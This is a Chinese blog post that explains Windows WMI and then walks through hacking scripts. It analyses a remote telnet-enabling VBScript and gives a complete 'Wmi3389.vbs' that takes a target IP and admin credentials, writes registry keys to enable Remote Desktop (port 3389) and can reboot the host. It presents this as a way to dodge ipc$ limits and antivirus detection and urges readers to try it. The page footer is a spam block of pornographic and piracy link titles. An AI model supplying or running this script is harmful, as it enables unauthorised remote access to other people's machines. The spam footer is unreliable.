<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    贏在執行

    這個世界上只有兩樣東西愈分享愈多,那就是智慧與愛。

    BlogJava 首頁 新隨筆 聯系 聚合 管理
      17 Posts :: 11 Stories :: 13 Comments :: 0 Trackbacks
    WMI基礎知識
    2006-11-11 02:15
    一:WMI基礎知識?
    ====================================================================================?
    WMI 最初于1998年作為一個附加組件與?Windows?NT?4.0?Service?Pack?4?一起發行,是內置在Windows?2000、 Windows?XP和Windows?Server?2003?系列操作系統中核心的管理支持技術。基于由 Distributed?Management?Task?Force?(DMTF)?所監督的業界標準,WMI是一種規范和基礎結構,通過它可以訪問、配置、管理和監視幾乎所有的Windows資源。大多用戶習慣于使用眾多的圖形化管理工具來管理Windows資源,在WMI之前這些工具都是通過 Win32應用程序編程接口(Application?ProgrammingInterfaces,API)來訪問和管理Windows資源的。只要你熟悉系統編程你就知道API有多么重要。但是大多數腳本語言都不能直接調用Win32?API,WMI的出現使得系統管理員可以通過一種簡便的方法即利用常見的腳本語言實現常用的系統管理任務。?
    利用WMI需要和腳本如WSH和VBScript結合起來,可以實現的功能大家可以看微軟的MSDN文檔。?
    在編寫我們自己的腳本之前,我們需要對WMI的體系結構有個基本的了解。如圖一:(1.gif)?
    在WMI 體系結構中我們最需要關心的就是WMI提供程序,WMI提供程序在WMI和托管資源之間扮演著中間方的角色。提供程序代表使用者應用程序和腳本從WMI托管資源請求信息,并發送指令到WMI托管資源。下面是我們利用WMI編程經常要用到的WMI內置提供程序清單,以供編程參考。?
    1.Active?Directory提供程序?
    鏈接庫文件:dsprov.dll?
    命名空間:root\directory\ldap?
    作用:將Active?Directory?對象映射到?WMI。?

    2.事件日志提供程序?
    鏈接庫文件:ntevt.dll?
    命名空間:root\cimv2?
    作用:管理?Windows?事件日志,例如,讀取、備份、清除、復制、刪除、監視、重命名、壓縮、解壓縮和更改事件日志設置。?

    3.注冊表提供程序?
    鏈接庫文件:stdprov.dll?
    命名空間:root\default?
    作用:讀取、寫入、枚舉、監視、創建、刪除注冊表項和值。?

    4.Win32?提供程序?
    鏈接庫文件:cimwin32.dll?
    命名空間:root\cimv2?
    作用:提供關于計算機、磁盤、外圍設備、文件、文件夾、文件系統、網絡組件、操作系統、打印機、進程、安全性、服務、共享、SAM?用戶及組,以及更多資源的信息。?

    5.Windows?安裝程序提供程序?
    鏈接庫文件:msiprov.dll?
    命名空間:root\cimv2?
    作用:提供對已安裝軟件信息的訪問。?

    從上面可以看出在WMI中類(即內置提供程序)被分組到命名空間中,命名空間可以看成是一個組。比如,命名空間?root\cimv2?包括大部分表示通常與計算機和操作系統相關聯的資源的類。在使用類的時候要說明類所在的命名空間。類由屬性和方法構成。這是可視化編程中的兩個重要的概念。屬性描述的是對象的狀態,方法是對象可以執行的操作。?
    理論知識學起來很枯燥,下面讓我們邊分析高手的腳本源碼邊進行理論知識的鞏固吧。?

    二:解析RTCS.VBS主要代碼?
    =====================================================================================?
    有時候閱讀別人的源碼未嘗不是一個好而且快捷的辦法,下面就讓我們來認真學習zzzEVAzzz編寫的一個可以遠程開啟telnet服務的腳本RTCS.VBS。?
    該腳本可以直接訪問目標的WMI,不依賴于目標的ipc$,實現遠程開啟/關閉目標telnet服務,為了方便大家學習我抽出了最主要的代碼,具體分析如下:?
    set?objlocator=createobject("wbemscripting.swbemlocator")?
    //創建WbemScripting.SwbemLocator對象(腳本接口)。?
    //可以看出WMI其實就是把Com組件WbemScripting.SWbemLocator封裝起來罷了。?
    set?objswbemservices=objlocator.connectserver(ipaddress,"root/default",username,password)?
    //通過ConnectServer函數請求連接到WMI控件服務上,root/default為命名空間。?
    set?objinstance=objswbemservices.get("stdregprov")?
    //建立訪問注冊表的實例。?
    set?objmethod=objinstance.methods_("SetDWORDvalue")?
    //建立可以更改注冊表鍵值的方法。?
    set?objinparam=objmethod.inparameters.spawninstance_()?
    //MethodData.InParameters用于獲取或設置方法的輸入參數。這里用spawninstance方法為它建立一個子實例,下面就可以將參數值賦予這個對象的屬性。?
    objinparam.hdefkey=&h80000002?
    //hdefkey表示根鍵,根鍵的十六制值如下:?
    //HKEY_CLASSES_ROOT?(&H80000000)??
    //HKEY_CURRENT_USER?(&H80000001)??
    //HKEY_LOCAL_MACHINE?(&H80000002)??
    //HKEY_USERS?(&H80000003)??
    //HKEY_CURRENT_CONFIG?(&H80000005)??
    objinparam.ssubkeyname="SOFTWARE\Microsoft\TelnetServer\1.0"?
    //ssubkeyname表示子鍵。?
    objinparam.svaluename="NTLM"?
    //svaluename表示屬性名。?
    objinparam.uvalue=ntlm?
    //uvalue表示鍵值。?
    set?objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)?
    //利用execmethod執行方法,這里才真正改寫了注冊表。?

    //下面是修改telnet服務的TelnetPort值,原理同上。?
    objinparam.svaluename="TelnetPort"?
    objinparam.uvalue=port?
    set?objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)?

    修改telnet的注冊表部分就完成了,將NTLM和TelnetPort進行了修改,要是對方的telnet服務沒有開啟呢?下面就需要根據telnet的具體情況,來啟動telnet服務,繼續看代碼。?

    //首先查詢遠程主機上tlntsvr的啟動方式。?
    set?objswbemservices=objlocator.connectserver(ipaddress,"root\cimv2",username,password)?
    //win32_service類在root\cimv2命名空間中,作用沒忘記吧?快看基礎知識呵。?
    set?colinstances=objswbemservices.execquery("select?*?from?win32_service?where?name=&apos;tlntsvr&apos;")?
    //注意:查詢都是通過枚舉來實現的。?
    for?each?objinstance?in?colinstances?
    if?objinstance.startmode="Disabled"?then?
    set?objmethod=objinstance.methods_("changestartmode")?
    //創建changestartmode方法來改變tlntsvr的啟動方式。?
    set?objinparam=objmethod.inparameters.spawninstance_()?
    objinparam.startmode="Manual"?
    //將啟動方式改為手動方式。?
    set?objoutparam=objinstance.execmethod_("changestartmode",objinparam)?
    end?if?

    //下面啟動我們的telnet服務。這里zzzEVAzzz的思路好象有點不對,也不知道是不是他的疏忽,我個人認為當telnet服務已經啟動時不應該用stopservice方法停止服務。?
    if?objinstance.started=true?then?
    intstatus=objinstance.stopservice()?
    //stopservice是WMI中用于停止服務實例的服務的方法。?
    else?
    intstatus=objinstance.startservice()?
    end?if?
    next?

    三:手把手教你編寫WMI版本的ROTS.vbs來開啟3389??
    =====================================================================================?
    zzzVEAzzz 的腳本就分析到這里吧,怎么樣?很EASY吧?!我相信大家現在一定蠢蠢欲動了?:)好,一起來寫一個什么程序呢?ROTS.vbs我想大家一定都用過吧?什么東東啊?我……砸!大家應該知道這個ROTS是有它的使用條件的,不僅要有管理員帳號,還要允許進行ipc連接,在這個到處都是墻的年代,ipc 早就不實用了,而且ROTS.vbs早就被查殺了,那該怎么辦?當然是自己動手了。能不能實現ROTS的一樣的遠程開啟3389的功能而不受ipc的限制呢?答案自從我寫了這篇文章后成為肯定的,哈哈,吹吹了。?
    當然我們也是要求系統至少是2000server及以上的,最近看到有個軟件可以給2000pro開3389,由于比較忙,也沒怎么去理它,這里我們暫且不說它,知道了原理一樣好辦。?
    開啟3389有個注冊表導入的方法,其它一些軟件的開法,我想也大多是通過修改注冊表實現的。這個方法需要導入如下的注冊表:?
    Windows?Registry?Editor?Version?5.00?

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]??
    "Enabled"="0"??
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows?NT\CurrentVersion\Winlogon]??
    "ShutdownWithoutLogon"="0"??
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]??
    "EnableAdminTSRemote"=dword:00000001??
    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal?Server]??
    "TSEnabled"=dword:00000001??
    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]??
    "Start"=dword:00000002??
    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]??
    "Start"=dword:00000002??
    [HKEY_USERS\.DEFAULT\Keyboard?Layout\Toggle]??
    "Hotkey"="1"??

    原理知道了就沒什么難的了,先理清我們的思路,我們的主要任務是更改注冊表里的鍵值。首先是創建WMI對象,然后是連接到遠程WMI服務器,最后修改注冊表鍵值。?
    部分主要代碼如下(完整的代碼和詳細的注釋請看附帶的軟件包)?

    on?error?resume?next?
    //防止出現意外。?
    set?outstreem=wscript.stdout?
    if?(lcase(right(wscript.fullname,11))="wscript.exe")?then?
    set?objShell=wscript.createObject("wscript.shell")?
    objShell.Run("cmd.exe?/k?cscript?//nologo?"&chr(34)&wscript.scriptfullname&chr(34))?
    //cmd后帶/K參數表示執行字符串指定的命令。?
    wscript.quit?
    end?if?
    //進行簡單的檢查。?
    if?wscript.arguments.count<3?then?
    usage()?
    wscript.echo?"Not?enough?parameters."?
    wscript.quit?
    end?if?
    //取出參數,分別賦予幾個變量。?
    ipaddress=wscript.arguments(0)?
    username=wscript.arguments(1)?
    password=wscript.arguments(2)?
    option=wscript.arguments(3)?
    usage()?

    下面是核心代碼,也是實現遠程修改注冊表的功能,我這里給出另外一種實現的方式,對照前面的代碼很容易理解,我就只作簡單的解釋了。詳細情況可以參閱MSDN文檔中關于StdRegProv類的說明。?
    (http://msdn.microsoft.com/library/default.asp?url=/library/en-us/wmisdk/wmi/stdregprov.asp)?

    const?HKEY_LOCAL_MACHINE?=?&H80000002?
    const?HKEY_USERS=&H80000003?
    strComputer?=?ipaddress?

    //獲取wmi對象?
    Set?oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\"?&_??
    strComputer?&?"\root\default:StdRegProv")?

    strKeyPath?=?"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"?
    strValueName?=?"Enabled"?
    strValue=0?
    oReg.SetDWORDValue?HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue?

    strKeyPath?=?"SOFTWARE\Microsoft\Windows?NT\CurrentVersion\Winlogon"?
    strValueName?=?"ShutdownWithoutLogon"?
    strValue=0?
    oReg.SetDWORDValue?HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue?

    strKeyPath?=?"SOFTWARE\Policies\Microsoft\Windows\Installer"?
    strValueName?=?"EnableAdminTSRemote"?
    strValue=1?
    oReg.SetDWORDValue?HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue?

    strKeyPath?=?"SYSTEM\CurrentControlSet\Control\Terminal?Server"?
    strValueName?=?"TSEnabled"?
    strValue=1?
    oReg.SetDWORDValue?HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue?

    strKeyPath?=?"SYSTEM\CurrentControlSet\Services\TermDD"?
    strValueName?=?"Start"?
    strValue=2?
    oReg.SetDWORDValue?HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue?

    strKeyPath?=?"SYSTEM\CurrentControlSet\Services\TermService"?
    strValueName?=?"Start"?
    strValue=2?
    oReg.SetDWORDValue?HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue?

    strKeyPath?=?".DEFAULT\Keyboard?Layout\Toggle"?
    strValueName?=?"Hotkey"?
    strValue=1?
    oReg.SetDWORDValue?HKEY_USERS,strKeyPath,strValueName,strValue?

    //下面實現重啟遠程機器?
    if?option="/r"?then??
    outstreem.write?"Now,?rebooting?target...."?
    strwmiquery="select?*?from?win32_operatingsystem?where?primary=&apos;true&apos;"?
    set?colinstances=objswbemservices.execquery(strwmiquery)?
    for?each?objinstance?in?colinstances?
    objinstance.win32shutdown(2)?
    end?if?
    outstreem.write?"Ok,?rebooted?the?target."?

    //簡單的用法說明的函數。?
    function?usage()?
    wscript.echo?string(60,"=")?
    wscript.echo?"Wmi3389?v1.0.0"?
    wscript.echo?"No?ipc?Open?3389,?code?written?by?pye."?
    wscript.echo?"Welcome?to?visite?www.coon.cn?or?Mail?to?grandh4408@yahoo.com.cn"?
    wscript.echo?"Usage:"?
    wscript.echo?"cscript?"&wscript.scriptfullname&"?targetIP?username?password?[/r]"?
    wscript.echo?"/r?reboot?the?target?this?is?optional"?
    wscript.echo?"It?use?WMI?to?Open?3389?of?target?server."?
    wscript.echo?string(60,"=")&vbcrlf?
    end?function?
    將上面的代碼復制帶記事本里,保存為Wmi3389.vbs。然后在CMD里執行:?
    cscript?Wmi3389.vbs?ipaddress?administrator?password?[/r]?
    看看是不是和ROTS.vbs有一樣的效果啊?大家趕快實踐實踐吧。?

    四:最后的嘮叨?
    =====================================================================================?
    大家可以看出WMI的功能是很強大的,這里要感謝MicroSoft了,它是永遠都不會讓我們失望的。WMI對象允許通過VB,VBA,WSH, ?VBScript,?JScript,ASP,或是支持自動對象的其它環境,對WMI進行完全訪問。在參考查詢體系中加入 WMI?Scripting?V1.1?Library?,則Visual?Basic或是VBA方案就可以訪問這些對象了。支持ActiveX程序的操作平臺可以通過對象類的代號,或是類的名稱創建這些對象,這些對象的前綴是WbemScripting,如 WbemScripting.SwbemLocator。所以大家有興趣的完全可以利用VB,WSH,VBScript,?JScript,ASP等編寫更多的利用WMI的黑客程序
    posted on 2007-03-20 14:14 飛雪(leo) 閱讀(407) 評論(0)  編輯  收藏 所屬分類: 其他方面

    只有注冊用戶登錄后才能發表評論。


    網站導航:
     
    主站蜘蛛池模板: 美女被暴羞羞免费视频| 精品日韩亚洲AV无码一区二区三区| 91精品导航在线网址免费| 亚洲免费在线观看视频| 日韩毛片免费在线观看| 亚洲真人无码永久在线观看| 无码中文在线二区免费| 亚洲色偷精品一区二区三区| 成人免费毛片内射美女APP| 亚洲日韩国产一区二区三区在线| 免费黄色大片网站| 国产精品自拍亚洲| 久久久久亚洲爆乳少妇无| 在线成人精品国产区免费| 精品少妇人妻AV免费久久洗澡| 亚洲日韩av无码中文| 免费一级毛片不卡不收费| 久久久久亚洲av无码专区| 黄色网址免费观看| 亚洲精品美女久久7777777| 日产国产精品亚洲系列| 中文字幕版免费电影网站| 精品亚洲成a人片在线观看少妇| av无码国产在线看免费网站| 亚洲AV成人无码网天堂| 美腿丝袜亚洲综合| 亚洲免费视频网址| 国产精品亚洲а∨无码播放不卡 | 亚洲Aⅴ无码一区二区二三区软件 亚洲AⅤ视频一区二区三区 | 亚洲a级在线观看| 国产免费直播在线观看视频| eeuss影院免费92242部| 亚洲精品韩国美女在线| 青青青国产免费一夜七次郎| 久久国产免费直播| 性xxxx黑人与亚洲| 久久影视国产亚洲| 无人在线观看免费高清视频| 国产精品免费看久久久香蕉| 亚洲色图.com| 精品国产亚洲男女在线线电影|